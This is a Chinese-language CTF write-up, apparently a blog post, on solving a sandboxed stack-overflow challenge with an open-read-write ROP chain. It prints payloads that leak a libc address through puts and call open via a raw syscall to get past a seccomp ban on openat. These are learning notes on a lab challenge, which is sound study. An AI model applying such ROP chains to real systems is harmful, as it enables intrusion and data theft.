orw--libc

        前言:最近打算学一手orw,然而网上的要么纯粹shellcode打的,简单到没有学习价值,要么是堆上的或者是那种目前菜鸡看不明白的汇编转的。。。正好想到以前学长出过orw的相关题,不过原环境需要检索查找flag,然后菜鸡还不怎么理解那种shellcraft写shell的。就把它搬到本地来,当作一个普普通通的用rop链来写的orw。(没有写这个的习惯,平时WP都是写的本地文件,不过网上也搜不到适合入门的,就写一写啦,而且看见好多爷都会写写,咱也跟风一下。)

        废话不多说,上题(虽然废话好像不少)。

        保护就简简单单的浅开了个nx(64位的)

        然后是沙箱,openat被禁了,这个当时没注意,还是有群里的师傅无私解答才发现的(要不然还不知道得困惑多久,太感谢啦)

   

然后就是前面的判断啦,学长们出的题还是很有趣味性的

普普通通的判断,来个-1就能跳转过来到smallbox了,但文字很有趣味呀

 

 然后这里有个朴实无华的栈溢出来用(给了这么大,我爱死)

先是泄露一下libc,back_addr我跳转回的是main函数(其实我也想直接跳转到这个smallbox来着,但是这个跳转多了会再puts卡住。。。所以还是回main吧)

payload = b'A'*(0x40+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(back_addr)

 然后泄露出libc,可以从用ROPgadget从libc文件里找到pop_rdx_ret

 计算出libc基址,然后找了open read write。(其实mprotect用不到,还是对可执行理解不深来着,本来先让bss开了一点可执行,然后orw,后来发现不开也可以的。打完之后更加理解了可执行,可写可读是因为里面放的是变量)

libc_base = puts_addr - libc.sym['puts']
read_addr = libc_base +libc.sym['read']
open_addr = libc_base +libc.sym['open']
write_addr = libc_base +libc.sym['write']
pop_rdx= libc_base + 0xfdd4d
pop_rsi = libc_base + 0x28ed9
bss = 0x602000
mprotect_addr = libc_base +libc.sym['mprotect']
pop_rax = libc_base + 0x3f0a7
syscall_addr = libc_base +libc.sym['syscall']

         由于高版本libc里的open函数其实会调用openat,所以要用syscall来系统调用open。这里的syscall其实被打包成了函数(在群里师傅的提醒下咱第一次用,还以为跟ret2syscall例题中直接一条跳转的syscall呢,其实这个还封装好了对参数的调用。第一个参数会给rax,第二个会再给rdi,总之参数一次递推。)

写的时候没发现,所以用了syscall+23,寄存器自己提前pop好(其实不用这么麻烦)

然后先把flag这个名字写入bss

这里栈溢出跳转到read,然后往bss+0x500处写入了flag。(因为都是用read嘛,没有终止符号,也没有对应的标志后输出;刚开始还为怎么在跳转到read之后再输出,后来突然想到,我给那个read100个字节的填满不就好了,嘿嘿嘿)

这里是直接跳转回了那个smallbox函数

payload = b'A'*(0x48)+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(bss+0x500)+p64(pop_rdx)+p64(0x100)+p64(read_addr) +p64(ret_addr)+ p64(0x400b0c)+b'A'*(120-8)

print(len(payload))

sd(payload)

sd('./flag\x00\x00')

 然后直接orw莽上去,对了,open要给第二个参数为0,可能是标置位的问题?

payload=b'A'*(0x48)+p64(pop_rdi)+p64(0x602500)+p64(pop_rsi)+p64(0)+p64(pop_rax)+p64(2)+p64(syscall_addr+23)
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(0x602500)+p64(pop_rdx)+p64(0x100)+p64(read_addr)
payload+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(0x602500)+p64(write_addr)

然后发送

吼吼吼,成功。

总结一下学习到的点吧:

1.高版本libc中调用open函数会调用openat函数,但它已经被禁用了

所以要使用syscall函数系统调用open(调用号是2)

但是低版本没有影响。

2.syscall函数相当于把rdi当作rax了,rsi->rdi其他参数依次递推

3.可以从libc里查找到各种pop

4.open需要将第二个参数置0

5.open打开后,需要选择一个地方去写入read,并且用write输出

6.read分开调用时,怎么做到用脚本输入呢?那就是把第一个read填满就好了。

以及不需要这种方法不需要无谓的mprotect。

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值